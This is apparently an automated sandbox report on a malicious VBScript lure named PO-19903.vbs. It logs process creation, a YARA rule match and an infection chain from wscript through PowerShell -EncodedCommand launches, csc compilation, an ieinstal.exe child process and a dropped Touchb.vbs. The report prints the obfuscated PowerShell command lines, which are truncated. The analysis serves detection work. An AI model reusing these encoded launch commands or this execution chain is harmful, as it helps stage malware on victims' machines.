VABTAFMAIABFAE4AUwBQAE8AUgBFAFQASAAgAFMAdABlAGQAbQBvAGQANwAgAFMAdgBvAHYAbABzAHkAcgBlACAAQgBvAHIAZwBlAHIAcgAgAEsAbwBsAHAAbwByAHQAMQAgAHAAbABlAHUAcgBvAHQAIAANAAoAIwBiAG8AbgBzAGEAaQAgAFAAcwBlAHUAZABvACAAZgByAGkAdABpAGQAcwBjAGUAbgAgAFQARQBBAFQARQBSAEcATgAgAFAATABBAE4ARQBSAFMAIABWAEkATgBEAE0AIABTAHAAYQBsAHQAZQAgAFQAYQBiAGUAbAAyACAAQQBtAGIAYQBkAGUAZQBkAGkAZQAgAEMAaQBuAGQAZQByAHMAYgBhAG4AIABDAG8AYQB0AHQAMwAgAEMASABSAE8ATQBBAFQAIABjAGEAcgBsACAAUwB0AGkAZgB0ADEAIABzAHQAdgBmAG4AIABLAG8AbQBtAHUAbgBhADMAIABSAFIAVABBAE4AIABOAG8AbgBvAGkAbAAgAA0ACgAjAHMAZQBwAHQAZQBuAGEAdAAgAFAAcwBlAHUAZABvAGEAbQBiADgAIABOAG8AbgByAGEAYwBpAGEAIABWAGwAZwBlAHIAZQBzAGsAMwAgAEQAbwBnAGgAbwAgAFAAcgBvAGcAcgBhAG0AbQAgAEYATABVAEcAVABTAEsAWQBEACAAYwBsAGEAdQBzAHQAIABTAEUATABWAEYASQBOACAADQAKACMAZABpAHMAcABlAG4AcwAgAEEARgBGAEEATABEAFMAUAAgAFAAbABuAGUAcgBuAGUAcgAgAEcAbwByAGQAeQBrAG4AMQAgAEIAaQBvAGUAbAAgAFIAaABpAHoAIABOAG8AbgBhAGQAagBhADkAIABCAHIAaQBzADIAIABTAFQAVQBEACAAawBvAHIAcABvAHIAbABpAGcAdAAgAEMAaABhAHIAYwB1AHQAaQAyACAATQBhAGwAdABpAG4AZwBwAGUANgAgAFMAaQBrAGsAZQByAGgAMwAgAFUATgBJAFQASQBOAEcASQBOACAAZABpAHMAZQBuAHMAIAANAAoAIwBTAFAASQBTACAAcwB0AHIAeQBrAG4AaQAgAFQAcgBlAGEAcwB1AHIAZQAyACAAZgByAGUAZQB6ACAARABpAHMAbwByAGQAZQAgAEMAaQBmAGYAZQByAGYAbAAgAG0AZQB0AGEAZwBlAHMAIABVAHMAdABlAG0AcAAgAGUAZgB0AGUAcgBrAG8AbQBtACAAUwB5AG4AcwBtAHMANAAgAEwATgBTAEwAQQBWAEUAUwBSACAAQwBhAHQAcwA0ACAAcwBvAHYAcwAgAFcAaQBuAHMAIABQAHIAZQBjAGUAcAB0AGEANwAgAFQAQQBSAFMATwBNAEEATAAgAE8AYgBzAHQAZQByAG4AYQBzAGkANAAgAEUARgBUAEUAUgBUAFIAIABCAGwAZQBzAGsAdQBkADIAIAANAAoAIwB3AG8AbwBsAGUAbgBzAHIAIABQAEwATwBDAEUASQBGAE8AUgBNACAAUgBhAHUAbgBvACAAVABZAFAARQBSACAAaQBuAG4AdQBlAG4AZABvACAAUgBBAFAAUAAgAEIAbwBnAHMAdABhAHYAawAgAHUAYgBlAHMAIABBAGIAcwBpAG4AdABoACAARgBvAHIAcw Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: Commandline size = 19732
Source: C:\Windows\SysWOW64\wscript.exe Process created: Commandline size = 17348
Source: C:\Windows\System32\wscript.exe Process created: Commandline size = 19732 Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process created: Commandline size = 17348 Jump to behavior
Source: 00000001.00000003.3931911051.0000018888A71000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: SUSP_LNK_SuspiciousCommands date = 2018-09-18, author = Florian Roth, description = Detects LNK file with suspicious content, score =
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_0505E827 2_2_0505E827
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_0505E858 2_2_0505E858
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_085E3AF0 2_2_085E3AF0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_085E5140 2_2_085E5140
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_085E2772 2_2_085E2772
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_085EDB20 2_2_085EDB20
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_085E5140 2_2_085E5140
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_085E3798 2_2_085E3798
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_08636F58 2_2_08636F58
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_086330B0 2_2_086330B0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_0863309E 2_2_0863309E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_086758E0 2_2_086758E0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_08678129 2_2_08678129
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_08678138 2_2_08678138
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_08747888 2_2_08747888
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_08740040 2_2_08740040
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_08740012 2_2_08740012
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_0874B1EF 2_2_0874B1EF
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_0874B210 2_2_0874B210
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_087F9140 2_2_087F9140
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_087FF298 2_2_087FF298
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_087F3C98 2_2_087F3C98
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_087F3C8A 2_2_087F3C8A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_08F60942 2_2_08F60942
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_08F62A90 2_2_08F62A90
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_08F61CC8 2_2_08F61CC8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_08F6C8F0 2_2_08F6C8F0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_08F6E8A8 2_2_08F6E8A8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_0867C741 2_2_0867C741
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Process Stats: CPU usage > 98%
Source: PO-19903.vbs Initial sample: Strings found which are bigger than 50
Source: C:\Windows\System32\wscript.exe Section loaded: edgegdi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: edgegdi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Section loaded: edgegdi.dll Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Section loaded: edgegdi.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: edgegdi.dll Jump to behavior
Source: PO-19903.vbs ReversingLabs: Detection: 19%
Source: C:\Windows\System32\wscript.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\PO-19903.vbs"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBEAGkAcwBkAGEAaQAgAEQAaQBzAGgAdQBtAGEANQAgAFMAbwByAHQAIABUAEEARgBGAEUAIABDAHIAYQBtAHAAbwBvAG4AZAAgAEcAUgBVAE4AVABJAE4ARwBCACAAUAByAGUAYQBtAGIAdQBsAGEAdAAzACAAQQBzAHMAaQBtAGkAbAA2ACAARgB1AHIAcwBlAG0AaQBkAGUAYgAgAEYAdQByAGkAZQBuAHMAZABlAGMAIABBAGwAYQByAG0AdQByAGUAMgAgAEMAaABvAHIAaQBiACAASABVAE0ATwAgAEYASQBTAFQARQBMAFMAVABFAE0AIABTAHQAZQBnAGUAIABjAGgAZQBzAHMAZQAgAGIAYQByAHIAeQBtAG8AcgAgAEEAbgBuAGcAcgBlAHQAaABlADMAIAANAAoAIwBSAGUAbQBpAG4AZwBsAGkANAAgAGUAcgBuAHIAIABCAGUAcwBwAHkAdAAgAFMAdQBsAHAAaABvAHoAaQBuADgAIABWAEkAUgBHAFUATABBACAASQBGAFIARAAgAEYAbwByAGUAIABQAGwAdQByAGEAbAB2AGUAawBzADEAIABQAHIAbwBmAGkAbABlAG4AdQAgAG4AbwBuAGYAbwAgAEkAbgBqAHUAcwB0ADkAIABOAG8AdQByAGkAcwBoAG0AZQBuADMAIAB0AG8AbQBhAGgAYQB2AGsAZQBuACAARQBzAHMAYQB5ADEAIABCAEwAQQBBACAAdAByAGEAbgBzAG0AbwBnACAAaAB1AGwAawAgAGkAbgBsAGEAeQBlACAADQAKACMAawB2AGEAcgAgAEsAbwBiAGEAbgBnAGYAbwByADYAIABIAHkAcABlAHIAYQByAGMANgAgAEcAQQBSAEQARQBSAE8AQgBFAE4AIABPAG4AYwBvAHMAcABoAGUAcgBlACAAQgB1AG4AZwBsAGkAbgAgAEIAQQBSAFkAVAAgAFQATwBNAEEAUwBUAEUAIABDAE8AUgBSAE8AQgBPAFIAQQBUACAAQwBZAEsARQBMAFAAQQBSACAAUwB0AGEAZABzAGwAZwAzACAAQgBhAGMAaQBsAGwAZQBiACAAQgBMAFUAUgBUAEkATgAgAGEAZABtAGkAbgBpAHMAdAByACAATQBpAGwAaQBlAHUAYgAzACAAQgBsAGEAZABlAGwAZQA4ACAAYQBwAG8AbQBlAHQAYQBiACAADQAKACMAUABlAGEAbAA4ACAASwBpAG4AZwA5ACAATwBwAG0AcgBrAGUAcgBjAG8AIABJAEQARQBMAEkARwBFAFMASQAgAFMAeQBzAHQAZQBtAGEAdAA3ACAAUAByAGUAbwBwAGUAcgAzACAAUgBlAHMAbwAgAFMAUABBAEcATgBVAE0AIABMAGEAbgBkACAAcgBlAGMAawBvAG4AaQAgAGQAZQBwAHIAYQB2AGUAcgAgAGYAYQByAHQAagBzAGYAbwByAHQAIABMAEEATgBOACAARwByAGkAZgBmAG8AbgBhAGcAMwAgAEEARgBTAEUAIABoAGoAcwBkACAAYQBuAGEAbAB5AHMAZQBhAHIAYgAgAEEATQBVAEwAQQBTACAADQAKACMAdQBuAGoAbwBsAGwAeQAgAEkAbgBzAHQAcgB1AG0AZQBuACAARwBMAEEATABJAEkATgBHAEwAIABSAGUAcwBvAGEAcAAgAFcAbwBtAGEAbgBpACAATABlAGcAZwBpAGUAcgA1ACAAVQBOAEIAUgBFAEEASwBJAE4ARwAgAE8AcgBpAGwAbABpAG8AIABhAGQAcgBlAGEAIABBAEwAVABPAEwAQQBUACAARgBhAGcAbwAyACAASQBuAGYAbABhAG0AbQBhAHQANgAgAEMATwBDAEsATgBFAFkARABPAE0AIABTAFkATQBQAE8AUwBJACAAZwByAGEAdgBlAHIAZQB1ACAARgBPAFIAVQBEACAARgBBAFMAVABSAEUAUwBGAEkAIABLAG8AbgB0AHIAbwBsACAAUwBLAFIATABFAFYAIABBAE4AQQBMAFkAVABJAEsARQBSACAAVQBOAEMAUgAgAFMAbwByAHQAcwByACAAdgBpAGQAbgBlAGYAcgBzACAARQBPAEMAQQBSAEIATwAgAFQAYQBrAHQAIABCAGUAdAB2AGkAdgBsAGUAcgAzACAAVgBlAGwAYQByACAADQAKACMAUgBlAHYAYQBuAGMAaABlAHIAIABXAG8AcgBkAGEAYgBsAGUAcwAgAGwAbwB1AHMAaQBlAHIAbQBhACAAaQBuAGQAbABvAGcAcgBiAHIAbgAgAEEAdAB0AGEAIABSAEUAQgBMAE8AVwBOAEcAVQAgAFEAVQBFAEIAUgBJAFQASABDACAARwBSAE4AUwBFAE8AVgBFAFIARwAgAGYAcgB5AHQAbABlAHIAbgBlAHMAIABMAEUATQBQAEUATABJAEcARQBTACAADQAKACMAYQBuAGQAZQBsAHMAcwAgAEMAYQBtAGIAYQBsAGwAbQA0ACAAUwBvAHIAdABlAHIAaQBuAGcAIABMAG4AZwBzAHQAbABlAHYAZQBuACAAbwB1AHQAYgBvAHgAZQAgAFMASQBHAE4ASQBGAEkAQwBBAFQAIABNAGEAbgBhACAARABVAE4ASwBBAFIARAAgAFUAbgBzAGMAbwByACAAdAByAG8AbgBiACAAaAB5AHAAbwBoAGUAbQBpAGEAZwAgAE0AQQBUAFQARQBTAFQARQAgAGUAbgBnAHIAbwBzACAARgBlAHIAaQAyACAAVQBOAEMATwBOAFYARQAgAE0AaQBuAGQAcwB0AGUAaABqACAATgBpAHQAcgBvAGcAZQ
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ppgnlr3u\ppgnlr3u.cmdline
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES41DC.tmp" "c:\Users\user\AppData\Local\Temp\ppgnlr3u\CSC3E3BD6AE19504271A02C9239AA6C641F.TMP"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\Touchb.vbs"
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBtAGUAcwBvACAAZABpAHQAdABvAGcAIABzAHQAagBlAHIAdABoAGEAZwBlACAAUAByAGUAdgBhAHIAaQBjAGEAdAAxACAAUAB5AHIAbwBsADYAIABkAGUAbAB1AG0AaQBuAGkAIABUAGEAcwB0AGUAYQByADcAIAB0AHIAbwBwAG8AIABlAG4AZwByACAAbgBvAG4AcgBlAHAAZQBuAHQAYQAgAA0ACgAjAFMAbQBpAHQAdAB5ADEAIABTAFAAUgBFAE4ARwAgAFUATgBWAEkAUwAgAEEAbABsAGUAcgBoAHYAIABBAHIAYwBoAGkAcAA5ACAAUgBJAE4ARwBNAFIASwBOAEkAIABVAG4AYwBvAG4AOQAgAEoARQBOAEIAUgBZACAARQBqAGEAawB1AGwAZQAgAFMAVABKAEUAUgAgAEsATwBNAE0AVQBOAEkASwAgAFMAbwByAHQAawA4ACAAcABoAGEAZQAgAFUAcQB2AHMAeQAgAE0AbwBuAG8AcAAzACAAQwBvAHUAbgB0AGUAcgBjAGwAMQAgAGIAYQBhAGwAYQBtAGIAcwAgAEUAeABwAGwAbwBzAGkAYgBsACAARQBQAEkARwBSACAAQwBlAHAAaABhAGwAbwBoAHUAbQAgAHQAZQBnAG4AdAAgAEcAUABTAEUATQBVAEwAUwAgAEEAZgBsAGEAYQBzADYAIABBAHMAYgBrADYAIAANAAoAIwBhAGIAaQBkAGkAIABQAGUAbgBnADkAIABhAHAAaABhACAAQwBhAHUAbABrAGUAcgBzACAAVABSAEYARgBFACAAVAB5AHAAaABvAG8AbgB0AG8AMwAgAGsAcgBhAHAAaQBuAGEAZgAgAEUAbgBsAGkAZwBzAHQAaQAyACAAUwBhAG4AawB0AGgAYQBuAHMAIABHAGUAbgBuAGUAbQA4ACAAQwBlAGwAaQBlAGMANgAgAEsAYQB0AGoAIAANAAoAIwBFAHAAaQBsAGUAcABzAGkAZQBuACAAUwBFAE0ASQBTAE8ATABVACAAcwBwAHIAZQBkAG4AaQBuACAATQBFAFQASABZACAAUABhAHIAYQBtAGUAIABCAHIAbgBlAGgAYQB2AGUAMgAgAEcARQBSAE0AQQBOAEkAUwBUACAARABSAEUAVABTAFMAIABFAE4AUwBQAE8AUgBFAFQASAAgAFMAdABlAGQAbQBvAGQANwAgAFMAdgBvAHYAbABzAHkAcgBlACAAQgBvAHIAZwBlAHIAcgAgAEsAbwBsAHAAbwByAHQAMQAgAHAAbABlAHUAcgBvAHQAIAANAAoAIwBiAG8AbgBzAGEAaQAgAFAAcwBlAHUAZABvACAAZgByAGkAdABpAGQAcwBjAGUAbgAgAFQARQBBAFQARQBSAEcATgAgAFAATABBAE4ARQBSAFMAIABWAEkATgBEAE0AIABTAHAAYQBsAHQAZQAgAFQAYQBiAGUAbAAyACAAQQBtAGIAYQBkAGUAZQBkAGkAZQAgAEMAaQBuAGQAZQByAHMAYgBhAG4AIABDAG8AYQB0AHQAMwAgAEMASABSAE8ATQBBAFQAIABjAGEAcgBsACAAUwB0AGkAZgB0ADEAIABzAHQAdgBmAG4AIABLAG8AbQBtAHUAbgBhADMAIABSAFIAVABBAE4AIABOAG8AbgBvAGkAbAAgAA0ACgAjAHMAZQBwAHQAZQBuAGEAdAAgAFAAcwBlAHUAZABvAGEAbQBiADgAIABOAG8AbgByAGEAYwBpAGEAIABWAGwAZwBlAHIAZQBzAGsAMwAgAEQAbwBnAGgAbwAgAFAAcgBvAGcAcgBhAG0AbQAgAEYATABVAEcAVABTAEsAWQBEACAAYwBsAGEAdQBzAHQAIABTAEUATABWAEYASQBOACAADQAKACMAZABpAHMAcABlAG4AcwAgAEEARgBGAEEATABEAFMAUAAgAFAAbABuAGUAcgBuAGUAcgAgAEcAbwByAGQAeQBrAG4AMQAgAEIAaQBvAGUAbAAgAFIAaABpAHoAIABOAG8AbgBhAGQAagBhADkAIABCAHIAaQBzADIAIABTAFQAVQBEACAAawBvAHIAcABvAHIAbABpAGcAdAAgAEMAaABhAHIAYwB1AHQAaQAyACAATQBhAGwAdABpAG4AZwBwAGUANgAgAFMAaQBrAGsAZQByAGgAMwAgAFUATgBJAFQASQBOAEcASQBOACAAZABpAHMAZQBuAHMAIAANAAoAIwBTAFAASQBTACAAcwB0AHIAeQBrAG4AaQAgAFQAcgBlAGEAcwB1AHIAZQAyACAAZgByAGUAZQB6ACAARABpAHMAbwByAGQAZQAgAEMAaQBmAGYAZQByAGYAbAAgAG0AZQB0AGEAZwBlAHMAIABVAHMAdABlAG0AcAAgAGUAZgB0AGUAcgBrAG8AbQBtACAAUwB5AG4AcwBtAHMANAAgAEwATgBTAEwAQQBWAEUAUwBSACAAQwBhAHQAcwA0ACAAcwBvAHYAcwAgAFcAaQBuAHMAIABQAHIAZQBjAGUAcAB0AGEANwAgAFQAQQBSAFMATwBNAEEATAAgAE8AYgBzAHQAZQByAG4AYQBzAGkANAAgAEUARgBUAEUAUgBUAFIAIABCAGwAZQBzAGsAdQBkADIAIAANAAoAIwB3AG8AbwBsAGUAbgBzAHIAIABQAEwATwBDAEUASQBGAE8AUgBNACAAUgBhAHUAbgBvACAAVABZAFAARQBSACAAaQBuAG4AdQBlAG4AZABvACAAUgBBAFAAUAAgAEIAbwBnAHMAdABhAHYAawAgAHUAYgBlAHMAIABBAGIAcwBpAG4AdABoACAARgBvAHIAcw
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBEAGkAcwBkAGEAaQAgAEQAaQBzAGgAdQBtAGEANQAgAFMAbwByAHQAIABUAEEARgBGAEUAIABDAHIAYQBtAHAAbwBvAG4AZAAgAEcAUgBVAE4AVABJAE4ARwBCACAAUAByAGUAYQBtAGIAdQBsAGEAdAAzACAAQQBzAHMAaQBtAGkAbAA2ACAARgB1AHIAcwBlAG0AaQBkAGUAYgAgAEYAdQByAGkAZQBuAHMAZABlAGMAIABBAGwAYQByAG0AdQByAGUAMgAgAEMAaABvAHIAaQBiACAASABVAE0ATwAgAEYASQBTAFQARQBMAFMAVABFAE0AIABTAHQAZQBnAGUAIABjAGgAZQBzAHMAZQAgAGIAYQByAHIAeQBtAG8AcgAgAEEAbgBuAGcAcgBlAHQAaABlADMAIAANAAoAIwBSAGUAbQBpAG4AZwBsAGkANAAgAGUAcgBuAHIAIABCAGUAcwBwAHkAdAAgAFMAdQBsAHAAaABvAHoAaQBuADgAIABWAEkAUgBHAFUATABBACAASQBGAFIARAAgAEYAbwByAGUAIABQAGwAdQByAGEAbAB2AGUAawBzADEAIABQAHIAbwBmAGkAbABlAG4AdQAgAG4AbwBuAGYAbwAgAEkAbgBqAHUAcwB0ADkAIABOAG8AdQByAGkAcwBoAG0AZQBuADMAIAB0AG8AbQBhAGgAYQB2AGsAZQBuACAARQBzAHMAYQB5ADEAIABCAEwAQQBBACAAdAByAGEAbgBzAG0AbwBnACAAaAB1AGwAawAgAGkAbgBsAGEAeQBlACAADQAKACMAawB2AGEAcgAgAEsAbwBiAGEAbgBnAGYAbwByADYAIABIAHkAcABlAHIAYQByAGMANgAgAEcAQQBSAEQARQBSAE8AQgBFAE4AIABPAG4AYwBvAHMAcABoAGUAcgBlACAAQgB1AG4AZwBsAGkAbgAgAEIAQQBSAFkAVAAgAFQATwBNAEEAUwBUAEUAIABDAE8AUgBSAE8AQgBPAFIAQQBUACAAQwBZAEsARQBMAFAAQQBSACAAUwB0AGEAZABzAGwAZwAzACAAQgBhAGMAaQBsAGwAZQBiACAAQgBMAFUAUgBUAEkATgAgAGEAZABtAGkAbgBpAHMAdAByACAATQBpAGwAaQBlAHUAYgAzACAAQgBsAGEAZABlAGwAZQA4ACAAYQBwAG8AbQBlAHQAYQBiACAADQAKACMAUABlAGEAbAA4ACAASwBpAG4AZwA5ACAATwBwAG0AcgBrAGUAcgBjAG8AIABJAEQARQBMAEkARwBFAFMASQAgAFMAeQBzAHQAZQBtAGEAdAA3ACAAUAByAGUAbwBwAGUAcgAzACAAUgBlAHMAbwAgAFMAUABBAEcATgBVAE0AIABMAGEAbgBkACAAcgBlAGMAawBvAG4AaQAgAGQAZQBwAHIAYQB2AGUAcgAgAGYAYQByAHQAagBzAGYAbwByAHQAIABMAEEATgBOACAARwByAGkAZgBmAG8AbgBhAGcAMwAgAEEARgBTAEUAIABoAGoAcwBkACAAYQBuAGEAbAB5AHMAZQBhAHIAYgAgAEEATQBVAEwAQQBTACAADQAKACMAdQBuAGoAbwBsAGwAeQAgAEkAbgBzAHQAcgB1AG0AZQBuACAARwBMAEEATABJAEkATgBHAEwAIABSAGUAcwBvAGEAcAAgAFcAbwBtAGEAbgBpACAATABlAGcAZwBpAGUAcgA1ACAAVQBOAEIAUgBFAEEASwBJAE4ARwAgAE8AcgBpAGwAbABpAG8AIABhAGQAcgBlAGEAIABBAEwAVABPAEwAQQBUACAARgBhAGcAbwAyACAASQBuAGYAbABhAG0AbQBhAHQANgAgAEMATwBDAEsATgBFAFkARABPAE0AIABTAFkATQBQAE8AUwBJACAAZwByAGEAdgBlAHIAZQB1ACAARgBPAFIAVQBEACAARgBBAFMAVABSAEUAUwBGAEkAIABLAG8AbgB0AHIAbwBsACAAUwBLAFIATABFAFYAIABBAE4AQQBMAFkAVABJAEsARQBSACAAVQBOAEMAUgAgAFMAbwByAHQAcwByACAAdgBpAGQAbgBlAGYAcgBzACAARQBPAEMAQQBSAEIATwAgAFQAYQBrAHQAIABCAGUAdAB2AGkAdgBsAGUAcgAzACAAVgBlAGwAYQByACAADQAKACMAUgBlAHYAYQBuAGMAaABlAHIAIABXAG8AcgBkAGEAYgBsAGUAcwAgAGwAbwB1AHMAaQBlAHIAbQBhACAAaQBuAGQAbABvAGcAcgBiAHIAbgAgAEEAdAB0AGEAIABSAEUAQgBMAE8AVwBOAEcAVQAgAFEAVQBFAEIAUgBJAFQASABDACAARwBSAE4AUwBFAE8AVgBFAFIARwAgAGYAcgB5AHQAbABlAHIAbgBlAHMAIABMAEUATQBQAEUATABJAEcARQBTACAADQAKACMAYQBuAGQAZQBsAHMAcwAgAEMAYQBtAGIAYQBsAGwAbQA0ACAAUwBvAHIAdABlAHIAaQBuAGcAIABMAG4AZwBzAHQAbABlAHYAZQBuACAAbwB1AHQAYgBvAHgAZQAgAFMASQBHAE4ASQBGAEkAQwBBAFQAIABNAGEAbgBhACAARABVAE4ASwBBAFIARAAgAFUAbgBzAGMAbwByACAAdAByAG8AbgBiACAAaAB5AHAAbwBoAGUAbQBpAGEAZwAgAE0AQQBUAFQARQBTAFQARQAgAGUAbgBnAHIAbwBzACAARgBlAHIAaQAyACAAVQBOAEMATwBOAFYARQAgAE0AaQBuAGQAcwB0AGUAaABqACAATgBpAHQAcgBvAGcAZQ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ppgnlr3u\ppgnlr3u.cmdline Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES41DC.tmp" "c:\Users\user\AppData\Local\Temp\ppgnlr3u\CSC3E3BD6AE19504271A02C9239AA6C641F.TMP" Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\Touchb.vbs" Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBtAGUAcwBvACAAZABpAHQAdABvAGcAIABzAHQAagBlAHIAdABoAGEAZwBlACAAUAByAGUAdgBhAHIAaQBjAGEAdAAxACAAUAB5AHIAbwBsADYAIABkAGUAbAB1AG0AaQBuAGkAIABUAGEAcwB0AGUAYQByADcAIAB0AHIAbwBwAG8AIABlAG4AZwByACAAbgBvAG4AcgBlAHAAZQBuAHQAYQAgAA0ACgAjAFMAbQBpAHQAdAB5ADEAIABTAFAAUgBFAE4ARwAgAFUATgBWAEkAUwAgAEEAbABsAGUAcgBoAHYAIABBAHIAYwBoAGkAcAA5ACAAUgBJAE4ARwBNAFIASwBOAEkAIABVAG4AYwBvAG4AOQAgAEoARQBOAEIAUgBZACAARQBqAGEAawB1AGwAZQAgAFMAVABKAEUAUgAgAEsATwBNAE0AVQBOAEkASwAgAFMAbwByAHQAawA4ACAAcABoAGEAZQAgAFUAcQB2AHMAeQAgAE0AbwBuAG8AcAAzACAAQwBvAHUAbgB0AGUAcgBjAGwAMQAgAGIAYQBhAGwAYQBtAGIAcwAgAEUAeABwAGwAbwBzAGkAYgBsACAARQBQAEkARwBSACAAQwBlAHAAaABhAGwAbwBoAHUAbQAgAHQAZQBnAG4AdAAgAEcAUABTAEUATQBVAEwAUwAgAEEAZgBsAGEAYQBzADYAIABBAHMAYgBrADYAIAANAAoAIwBhAGIAaQBkAGkAIABQAGUAbgBnADkAIABhAHAAaABhACAAQwBhAHUAbABrAGUAcgBzACAAVABSAEYARgBFACAAVAB5AHAAaABvAG8AbgB0AG8AMwAgAGsAcgBhAHAAaQBuAGEAZgAgAEUAbgBsAGkAZwBzAHQAaQAyACAAUwBhAG4AawB0AGgAYQBuAHMAIABHAGUAbgBuAGUAbQA4ACAAQwBlAGwAaQBlAGMANgAgAEsAYQB0AGoAIAANAAoAIwBFAHAAaQBsAGUAcABzAGkAZQBuACAAUwBFAE0ASQBTAE8ATABVACAAcwBwAHIAZQBkAG4AaQBuACAATQBFAFQASABZACAAUABhAHIAYQBtAGUAIABCAHIAbgBlA